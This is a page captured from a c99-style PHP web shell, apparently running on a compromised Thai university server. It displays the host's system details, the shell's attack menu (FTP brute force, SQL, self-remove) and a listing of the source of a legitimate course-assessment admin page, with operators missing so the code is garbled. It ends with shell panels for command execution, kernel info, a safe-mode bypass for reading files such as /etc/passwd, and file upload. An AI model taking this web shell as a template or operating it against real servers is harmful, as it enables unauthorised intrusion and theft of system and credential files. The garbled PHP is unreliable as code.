!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess_OLD/admin/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     editDefineSomeCourse.php (27.04 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
showHeader();

include_once 
"../class/clsAssessForm.php";
include_once 
"../class/clsDefineAssessment.php";
include_once 
"../class/clsDoAssessment.php";
include_once 
"../class/clsHoldCourse.php";
include_once 
"../class/clsHoldCourseTmp.php";
include_once 
"../class/clsClassAssess.php";
include_once 
"../class/clsClassOpenForAssess.php";
include_once 
"../class/clsCourseAssess.php";
include_once 
"../link/function.php";
include_once 
"../class/clsReg_Program.php";
include_once 
"../class/clsReg_SysSemesterDes.php";        
include_once 
"../class/clsTimeTableAssess.php";
include_once 
"../class/clsReg_AcadYearConfig.php";
include_once 
"../class/clsHoldPlace.php";

confirmSubmit();
checkFormat();
openWindow1();

$oCR = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_REG'], $GLOBALS['USER_REG'], $GLOBALS['PASSWORD_REG']);

$oCA = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);

$oProg = new Program($oCR);
$oAF = new AssessForm($oCA);
$oDA = new DefineAssessment($oCA);
$oDo = new DoAssessment($oCA);
$oSse = new SysSemesterDes($oCR);
$oHC = new HoldCourse($oCA);
$oHCT = new HoldCourseTmp($oCA);
$oHCT2= new HoldCourseTmp($oCA);
$oClassA = new ClassAssess($oCA);
$oClsOpen = new ClassOpenForAssess($oCA);
$oCourse = new CourseAssess($oCA);
$oTTA=new TimeTableAssess($oCA);
$oAYC = new AcadYearConfig($oCR);
$oHP = new HoldPlace($oCA);

$defineid rawurlencode($defineid);
//echo $defineid;
//$oDA ->SearchByKey($defineid,$acadYear,$semester,$noAss);
$oDA ->SearchByDefineid($defineid);
$oDA->GetRecord();
$oAF->SearchByKey($oDA->assid);
$oAF->GetRecord();
$oSse->SearchByKey($oDA->semester);
$oSse->GetRecord();

if(
$startDate == "")
    
$startDate splitDateDb($oDA->startDate,"/");
if(
$endDate == "")
    
$endDate splitDateDb($oDA->endDate,"/");

//echo "startDate = ".$startDate;
//echo "<br> endDate = ".$endDate;
//echo "<br> oDA->startDate = ".$oDA->startDate;
//echo "<br> oDA->endDate = ".$oDA->endDate;

if($acadYearList == "")
    
$acadYearList $GLOBALS["ACADYEAR"];
if(!
$semesterList)
    
$semesterList $GLOBALS["SEMESTER"];
    
$oAYC->SearchByKey($acadYear,$semester);
$oAYC->GetRecord();
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<table width="740" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
    <td><br><fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="processDefineSomeCourse.php?link=main&menu=linkBackMenu">กำหนดช่วงเวลาประเมิน</a> 
      <img src="../picture/ico3.gif" align="absmiddle" border="0"> <a href="processDefineSomeCourse.php?link=main"> 
      กำหนดช่วงเวลานักศึกษาประเมินโดยขึ้นกับบางรายวิชา</a><img src="../picture/ico3.gif" align="absmiddle" border="0"> 
      แก้ไข</font></legend>
      <div align="center"><br>

<?php 
    
// copy HC to HCT
    
if($back==0){
        if (
$fe){
            
$oHCT->DeleteAll();
        }
        if(
$oDA->flag != 9){
            
$oHC->SearchByDefineid($defineid);
            while(
$oHC->GetRecord()){
                
$oHCT->AddNew();
                
$oHCT->holdid=$holdid;
                
$oHCT->classId=$oHC->classId;
                
$oHCT->ttId=$oHC->ttId;
                
$oHCT->officerId=$oHC->officerId;
                
$oHCT->Save();
            }
        }else{
            
$oHP->RSDistinctByDefineid($defineid);
            while(
$oHP->GetRecord()){
                
$oHCT->AddNew();
                
$oHCT->holdid=$holdid;
                
$oHCT->classId=$oHP->classId;
                
$oHCT->ttId=0;
                
$oHCT->officerId=0;
                
$oHCT->Save();
            }
        }
    }
?>

        <table width="720" align="center" border="0" cellpadding="0" cellspacing="1">
                <tr>
              <td align="center" colspan="2"><font size="3" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"><strong>แก้ไขช่วงเวลาประเมินที่ขึ้นกับบางรายวิชา</strong></font></td>
            </tr>
                <tr><td width="498">&nbsp;</td></tr>
                <tr>
                    <td colspan="2"><table width="700" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="<?php echo $GLOBALS["COLOR_BORDER_TABLE_1"];?>">
                  <tr> 
                    <td colspan="7" align="center">
                    <form name="FormDefine" method="post" action="processDefineSomeCourse.php">
                        <input type="hidden" name="firstDateTm" value="<?=$oAYC->firstDate?>">
                        <input type="hidden" name="lastDateTm" value="<?=$oAYC->lastDate?>">
                    <table width="700" align="center" border="0">
                        <tr> 
                          <td width="139" height="22" valign="top"  bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_7"];?>"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>&nbsp;แบบประเมินที่สร้าง</b></font></td>
                          <td colspan="3" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_7"];?>"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">
                            <?  if($oAF->maintopic == ""){ echo $oAF->nameAss." <img src = \"../picture/warn.png\" border = \"0\">"; }else{ echo $oAF->maintopic; } ?>
                            </font> </td>
                        </tr>
                        <tr>
                          <td height="22"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">&nbsp;<b>ลักษณะการประเมิน</b></font></td>
                          <td colspan="3"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">
                            <? if($oDA->flag == 7){?>
                            <img src="../picture/icoa18.jpg" border="0">ประเมินรายสัปดาห์
                                <? if($oDA->isPreAssess==){ ?><img src="../picture/book1.gif" width="18" height="22" border="0"><? echo "ประเมินตามช่วงเวลาที่กำหนด"
                                        }else { 
?><img src="../picture/open_book1.jpg" width="18" height="22" border="0"> <? echo "ประเมินหลังเรียน";}
                            } else if(
$oDA->flag == 8){ ?>
                             <img src="../picture/icoa15.jpg" border="0">ประเมินรายอาจารย์ผู้สอน
                                <? if($oDA->isPreAssess==){ ?><img src="../picture/book1.gif" width="18" height="22" border="0"><? echo "ประเมินตามช่วงเวลาที่กำหนด"
                                        }else { 
?><img src="../picture/open_book1.jpg" width="18" height="22" border="0"> <? echo "ประเมินหลังเรียน";}
                            } else if(
$oDA->flag == 6){ ?>
                                <img src="../picture/icoa14.jpg" border="0"> ภาพรวมรายวิชา,ศักยภาพ,สมรรถภาพผู้เรียน ฯลฯ
                            <? }else{ ?>
                                <img src="../picture/assEp.jpg" border="0" width="18"> ประเมินแหล่งฝึก
                            <? ?>
                            </font> </td>
                        </tr>
                        <tr> 
                          <td height="22" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_7"];?>"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>&nbsp;ปีการศึกษา</b></font></td>
                          <td colspan="3" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_7"];?>"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><?php echo $oDA->acadYear;?></font></td>
                        </tr>
                        <tr> 
                          <td height="22"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>&nbsp;ภาคการศึกษา</b></font></td>
                          <td colspan="3"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><?php echo $oSse->semesterName;?> 
                            (ลำดับที่ <?php echo $oDA->noAss;?>)</font></tr>
                        <tr> 
                          <td height="22" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_7"];?>"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>&nbsp;ช่วงเวลาประเมิน</b></font></td>
                          <td width="172" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_7"];?>"> 
                            <? if($startDate != "") { ?>
                            <script>DateInput('startDate', true, 'DD/MM/YYYY','<?php echo $startDate?>');</script> 
                            <? } else { ?>
                            <script>DateInput('startDate', true, 'DD/MM/YYYY','<?php echo splitDateDb($oDA->startDate,"/");?>');</script> 
                            <? ?>
                          </td>
                          <td width="21" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_7"];?>"><div align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>ถึง</b></font></div></td>
                          <td width="316" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_7"];?>"> 
                            <? if($endDate != "") { ?>
                            <script>DateInput('endDate', true, 'DD/MM/YYYY','<?php echo $endDate?>');</script> 
                            <? } else { ?>
                            <script>DateInput('endDate', true, 'DD/MM/YYYY','<?php echo splitDateDb($oDA->endDate,"/");?>');</script> 
                            <? ?>
                          </td>
                        </tr>
                        <tr> 
                          <td height="22"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>&nbsp;วันที่ปิดการประเมิน</b></font></td>
                          <td colspan="3">
<?php
                            
if($closeDate != "") {
?>                          
                          <script>DateInput('closeDate', true, 'DD/MM/YYYY','<?php echo $closeDate;?>');</script>
<?php
                            
}
                            else {
?>                          
                          <script>DateInput('closeDate', true, 'DD/MM/YYYY','<?php echo splitDateDb($oDA->closeDate,"/");?>');</script>
<?php
                            
}
?>                          
                          </td>
                        </tr>
                        <?    $numDoAss_overview=0;
                                
//นับจำนวนการประเมินว่ามีการประเมินหลังจากที่กำหนดแบบประเมินและช่วงเวลาไปแล้วหรือไม่  ถ้ามีจะไม่สามารถลบการกำหนดช่วงเวลาในการประเมินไปแล้วได้
                            
$oDo->SearchDoidByDefineid($defineid);
                            while(
$oDo->GetRecord()){
                                
//echo "<br> defineid = ".$oDA->defineid;
                                
$numDoAss_overview++;
                            }
                        
?>
                        <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_7"];?>"> 
                          <td height="22" colspan="4"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>&nbsp;เพิ่มรายวิชาที่ผูกกับแบบประเมิน 
                            </b>
                            <input type="button" name="addOrder" value=" + " onClick="sendValue()" >
                            </font> </td>
                        </tr>
                        <tr> 
                          <td height="99" colspan="4"><div align="center"><br>
                              <table width="620" border="0" cellpadding="1" cellspacing="1" bgcolor="silver">
                                <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TABLE_7'];?>"> 
                                  <td align="center" width="80" height="22"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>ชื่อย่อหลักสูตร</strong></font></td>
                                  <td align="center" width="73"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>รหัสรายวิชา</strong></font></td>
                                  <td align="center" width="267"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>ชื่อรายวิชา</strong></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>">&nbsp;</font></td>
                                      <td align="center" width="39"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>ชั้นปี</strong></font></td>
                                  <td align="center" width="76"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>หน่วยกิต</strong></font></td>
                                  <td align="center" width="35"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>กลุ่ม</strong></font></td>
                                  <td align="center" width="35"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><strong>ลบ</strong></font></td>
                                </tr>
<?php
                                $sumCreditTotal 
0;
                                
$i 0;
                                
$oHCT->RSDistinctClassId();
                                while(
$oHCT->GetRecord()) {
                                    
$oClassA->SearchByKey($oHCT->classId);
                                    
$oClassA->GetRecord();
                                    
$oCourse->SearchByKey($oClassA->courseId);
                                    
$oCourse->GetRecord();
                                    if((
$i%2) == 0)
                                        echo 
"<tr bgcolor=\"#FFFFFF\">";
                                    else
                                        echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_7"]."\">";
?>
                                <td align="center"><font size="2"> 
                                  <?  if(($oClassA->programId == 0) || ($oClassA->programId == "")){
                                        
$z 0;
                                        
$oClsOpen->SearchByClassId($oClassA->classId);
                                        while(
$oClsOpen->GetRecord()){
                                            
$oProg->SearchByKey($oClsOpen->programId);  
                                            
$oProg->GetRecord();
                                            if(
$oProg->programAbbr != ""){
                                                
$arrCls[$z] = $oProg->programAbbr;
                                            }else{
                                                
$arrCls[$z] = "<img src = \"../picture/warn.png\" border = \"0\">";
                                            }
                                            
//$arrCls[$z] = $oClsOpen->programId;
                                            
$z++;
                                        } 
// end while oClsOpen
                                        
for($a=0;$a<=$z;$a++){
                                            echo 
$arrCls[$a];
                                            if(
$a $z-1) echo ",<br>";
                                        }
                                    }else{
                                        
$oProg->SearchByKey($oClassA->programId);  
                                        if(
$oProg->GetRecord()){
                                            if(
$oProg->programAbbr != ""){
                                                echo 
$oProg->programAbbr;
                                            }else{
                                                echo 
"<img src = \"../picture/warn.png\" border = \"0\">";
                                            }
                                        }
                                        
//echo $oClassA->programId;
                                    

?>
                                  </font></td>
                                <td align="center"><font size="2"><?php echo $oCourse->courseCode;?></font></td>
                                <td><font size="2"> 
                                  <?php  echo $oCourse->courseName;?>
                                  </font> </td>
                                <td align = "center"><?php echo $oClassA->studentYear ?></td>
                                <td align="center"><font size="2" > <?php echo $oCourse->courseUnit;?> 
                                  </font></td>
                                <td align="center"><?php echo $oClassA->section ?></td>
                                <td align="center"> 
<?                              if($numDoAss_overview 0){ echo "<img src=\"../picture/deleted.gif\" width=\"16\" height=\"19\" align=\"absmiddle\" border=\"0\">";  }
                                else{  
                                    if(
$oDA->flag==6)
                                        
$f=0;
?>
                                  <a href="processHoldCourseTmp.php?method=delete&classId=<?php echo $oClassA->classId;?>&flag=<?=$f;?>&defineid=<?php echo $defineid;?>&acadYear=<?php echo $acadYear;?>&semester=<?php echo $semester;?>&noAss=<?php echo $noAss;?>&startDate=<?php echo $startDate;?>&endDate=<?php echo $endDate;?>" onClick='return confirmSubmit("คุณต้องการลบข้อมูลแน่นอนใช่หรือไม่")' onmouseover="window.status=''; return true;"><img src="../picture/deletenew.gif" width="16" height="19" align="absmiddle" border="0"> 
<?                              ?>
                                  </a></td>
                                </tr>
                                <?php
                            $i
++;        
                        }
                        if(
$i == 0){
?>
                                <tr bgcolor="#FFFFFF"> 
                                  <td colspan="7" align="center"><div align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">** 
                                      ไม่ปรากฏรายการ (กรุณาเพิ่มรายวิชาที่ผูกกับแบบประเมิน) 
                                      **</font></div></td>
                                </tr>
<?php
                        
}
?>
                                <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TABLE_7'];?>"> 
                                  <td height="13" colspan="7" align="center"><div align="left"></div></td>
                                </tr>
                              </table>
                              <br>
                            </div></td>
                        </tr>
                        <? if($i 0) { ?>
                        <tr> 
                          <td height="13" colspan="7" align="center" ><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">** 
                            เมื่อแก้ไขรายการเรียบร้อยแล้ว กรุณาคลิกปุ่ม บันทึก เพื่อยืนยันรายการที่แก้ไขไว้ 
                            **</font></td>
                        </tr>
                        <tr> 
                          <td height="6" colspan="7" align="center" ></td>
                        </tr>
                        <? ?>
                        <tr> 
                          <td colspan="4" align="center"> <p> 
                              <input type="submit" name="edit" value="บันทึก" onClick="return ChkDate(new Array(this.form.endDate.value), new Array(this.form.closeDate.value));">
                              <input type="button" name="cancel" value="ยกเลิก" onClick="location.href = 'processDefineSomeCourse.php?link=main'">
                            
                            <input type="hidden" name="assid" value="<?php echo $oAF->assid;?>">
                            <input type="hidden" name="defineid" value="<?php echo $oDA->defineid;?>">
                            <input type="hidden" name="acadYear" value="<?php echo $oDA->acadYear;?>"> 
                            <input type="hidden" name="semester" value="<?php echo $oDA->semester;?>"> 
                            <input type="hidden" name="noAss" value="<?php echo $oDA->noAss;?>"> 
                            <input type="hidden" name="flag" value="<?php echo $oDA->flag;?>">
                            <input type="hidden" name="selectFlag" value="<?=$oDA->flag?>">
                            <input type="hidden" name="isPreAssess" value="<?=$oDA->isPreAssess?>">
                            <input type="hidden" name="method" value="edit" >
                            </p></td>
                        </tr>
                      </table>
                      <br> </form><br>
                    </td>
                  </tr>

                </table></td>
                </tr>
                <tr>
                    <td colspan="2">
                        <input type="button" name="back2" value="กลับเมนูหลัก" onClick="location.href = 'index.php?mm=1'">
                        <input type="button" name="back" value="ย้อนกลับ" onClick="location.href = 'processDefineSomeCourse.php?link=main'">
                </td>
                </tr>
            </table></div>
        </fieldset><br>
      <table width="115%" border="0" align="center">
        <tr> 
          <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><b>หมายเหตุ 
            :</b></font></td>
          <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">* 
            หมายถึง ต้องกรอกข้อมูลให้สมบูรณ์,</font></td>
        </tr>
        <tr>
          <td>&nbsp;</td>
          <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">ใช้เม้าท์คลิกที่รายการแบบประเมิน 
            เพื่อดูรายละเอียดวิชาที่เลือกไว้</font></td>
        </tr>
        <tr> 
          <td width="9%"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">&nbsp;</font></td>
          <td width="91%"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><img src="../picture/deleted.gif" width="16" height="19" align="absmiddle" border="0">
            หมายถึง ไม่สามารถลบรายการที่กำหนดนั้นๆ ได้ เนื่องจากได้มีนักศึกษาเข้ามาประเมินแล้ว 
            </font></td>
        </tr>
      </table>
      
      <table width="742" border="0">
        <tr> 
          <td width="72" height="18"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">&nbsp;</font></td>
          <td width="660"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><u>ชื่อย่อหลักสูตรที่แสดงอยู่ในตาราง 
            หมายถึง </u></font></td>
        </tr>
        <? $oProg->SearchByProgramStatusY(); 
                while(
$oProg->GetRecord()){
             
?>
        <tr> 
          <td>&nbsp;</td>
          <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"> 
            <?  if($oProg->programAbbr != ""){
                        echo 
$oProg->programAbbr." = ".$oProg->programName;
                    }else{
                        echo 
"<img src = \"../picture/warn.png\" border = \"0\"> = ".$oProg->programName;
                    }
             
?>
            <? //echo $oProg->programId." = ".$oProg->programName; ?></font></td>
        </tr>
        <? ?>
      </table></td>
    </tr>
</table>
<?php

$oCA
->Disconnect();
$oCR->Disconnect();
showFooter();
?>
<script language="JavaScript1.2">
function ChkDate(txtStart, txtEnd){
    
        f = document.FormDefine;

        var date1 = f.startDate.value.split("/");
        var date2 = f.endDate.value.split("/");
        var dateFTm = f.firstDateTm.value.split("-");
        var dateLTm = f.lastDateTm.value.split("-");
        //Set the two dates
        date1 = new Date(eval(date1[2]), eval(date1[1]-1), eval(date1[0]));
        date2 = new Date(eval(date2[2]), eval(date2[1]-1), eval(date2[0])); //Month is 0-11 in JavaScript
        dateFTm = new Date(eval(dateFTm[0]), eval(dateFTm[1]-1), eval(dateFTm[2]));
        dateLTm = new Date(eval(dateLTm[0]), eval(dateLTm[1]-1), eval(dateLTm[2])); //Month is 0-11 in JavaScript
        //Set 1 day in milliseconds
        var one_day = 1000*60*60*24;
        //Calculate difference btw the two dates, and convert to days
        var diff = Math.ceil((date2.getTime()-date1.getTime())/(one_day));
        var year = date1.getFullYear()+543;
                
        var be  = Math.ceil((dateLTm.getTime()-date1.getTime())/(one_day));
        var af = Math.ceil((date1.getTime()-dateFTm.getTime())/(one_day));
        if( be<0 || af<0){
            alert("กรุณาตรวจสอบ 'วันที่เริ่มต้น' ควรอยู่ในช่วง 'ปีการศึกษาปัจจุบัน' !");
            return false;
        }else 
        if(diff < 0){
            alert("กรุณาตรวจสอบ 'วันที่เริ่มต้น' ควรน้อยกว่า 'วันที่สิ้นสุด' !");
            return false;
        }
        //return true;
        
        if (txtStart && txtEnd) {
            var oblen = txtStart.length;
            for (var i = 0; i < oblen; i++) {
                if (!isvaliddate(txtStart[i], txtEnd[i])) {
                    return false;
                }
            }
        }
        
        return true;
}

function selectDefineAss(){
    if (document.FormDefine.assid.value!="")  //เลือกแล้ว refresh หน้าจอ
            location.replace('editDefineSomeCourse.php?assid='+document.FormDefine.assid.value+'&acadYear='+document.FormDefine.acadYear.value+'&semester='+document.FormDefine.semester.value);    //location.replace('addDefineSomeCourse.php?assid='+document.FormDefine.assid.value+'&acadYear='+document.FormDefine.acadYear.value+'&semester='+document.FormDefine.semester.value+'&startDate='+document.FormDefine.startDate.value+'&endDate='+document.FormDefine.endDate.value);
        
}
function sendValue(){    
    var selectFlag=document.FormDefine.selectFlag.value;
    var isPreAssess=document.FormDefine.isPreAssess.value;
        if(selectFlag==7){
            window.open('editCourseInProgramTableTmp.php?assid='+document.FormDefine.assid.value+'&defineid='+document.FormDefine.defineid.value+'&acadYear='+document.FormDefine.acadYear.value+'&semester='+document.FormDefine.semester.value+'&startDate='+document.FormDefine.startDate.value+'&endDate='+document.FormDefine.endDate.value+'&closeDate='+document.FormDefine.closeDate.value+'&selectFlag='+selectFlag+'&isPreAssess='+isPreAssess+'&defineid='+document.FormDefine.defineid.value+'&noAss='+document.FormDefine.noAss.value+'&edit=1','PopUp','toolbar=0,scrollbars=1,location=0,statusbar=0,menubar=0,resizable=0,width=540,height=650,left = 240,top = 10')
        }else if(selectFlag==8){
            window.open('editCourseInProgramTableTmpF8.php?assid='+document.FormDefine.assid.value+'&defineid='+document.FormDefine.defineid.value+'&acadYear='+document.FormDefine.acadYear.value+'&semester='+document.FormDefine.semester.value+'&startDate='+document.FormDefine.startDate.value+'&endDate='+document.FormDefine.endDate.value+'&closeDate='+document.FormDefine.closeDate.value+'&selectFlag='+selectFlag+'&isPreAssess='+isPreAssess+'&defineid='+document.FormDefine.defineid.value+'&noAss='+document.FormDefine.noAss.value,'PopUp','toolbar=0,scrollbars=1,location=0,statusbar=0,menubar=0,resizable=0,width=540,height=650,left = 240,top = 10')
        }else if(selectFlag==6){ // flag6
            window.open('editCourseInProgramTableTmpF6.php?assid='+document.FormDefine.assid.value+'&defineid='+document.FormDefine.defineid.value+'&acadYear='+document.FormDefine.acadYear.value+'&semester='+document.FormDefine.semester.value+'&startDate='+document.FormDefine.startDate.value+'&endDate='+document.FormDefine.endDate.value+'&closeDate='+document.FormDefine.closeDate.value+'&selectFlag='+selectFlag+'&isPreAssess='+isPreAssess+'&defineid='+document.FormDefine.defineid.value+'&noAss='+document.FormDefine.noAss.value,'PopUp','toolbar=0,scrollbars=1,location=0,statusbar=0,menubar=0,resizable=0,width=540,height=650,left = 240,top = 10')
        }else if(selectFlag==9){ // flag9
            window.open('editCourseInProgramTableTmpF9.php?assid='+document.FormDefine.assid.value+'&defineid='+document.FormDefine.defineid.value+'&acadYear='+document.FormDefine.acadYear.value+'&semester='+document.FormDefine.semester.value+'&startDate='+document.FormDefine.startDate.value+'&endDate='+document.FormDefine.endDate.value+'&closeDate='+document.FormDefine.closeDate.value+'&selectFlag='+selectFlag+'&isPreAssess='+isPreAssess,'PopUp','toolbar=0,scrollbars=1,location=0,statusbar=0,menubar=0,resizable=0,width=540,height=650,left = 240,top = 10')
        }
}

function isvaliddate (txtStart, txtEnd)
{
    var retval = true;  
    var ArrayStartDay = txtStart.split("/");
    var ArrayStopDay = txtEnd.split("/");
    var StartDay = ArrayStartDay[2] + ArrayStartDay[1] + ArrayStartDay[0];
    var StopDay = ArrayStopDay[2] + ArrayStopDay[1] + ArrayStopDay[0];
    if (StartDay > StopDay) {
        alert("กรุณาตรวจสอบ 'วันที่สิ้นสุด' ควรน้อยกว่า 'วันที่ปิดการประเมิน' !");
        retval = false;
    }
    return retval;
}
</script>

<?php 
    
function getAllCourseCode($defineid,$oHC,$oClassA,$oCourse)
    {
        
$oHC->SearchDistinctClassIdByDefineid($defineid);
        while(
$oHC->GetRecord()){
            
$oClassA->SearchByKey($oHC->classId);
            
$oClassA->GetRecord();
            
$oCourse->SearchByKey($oClassA->courseId);
            
$oCourse->GetRecord();
            echo 
$oCourse->courseCode." ,";
        }
    }
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0221 ]--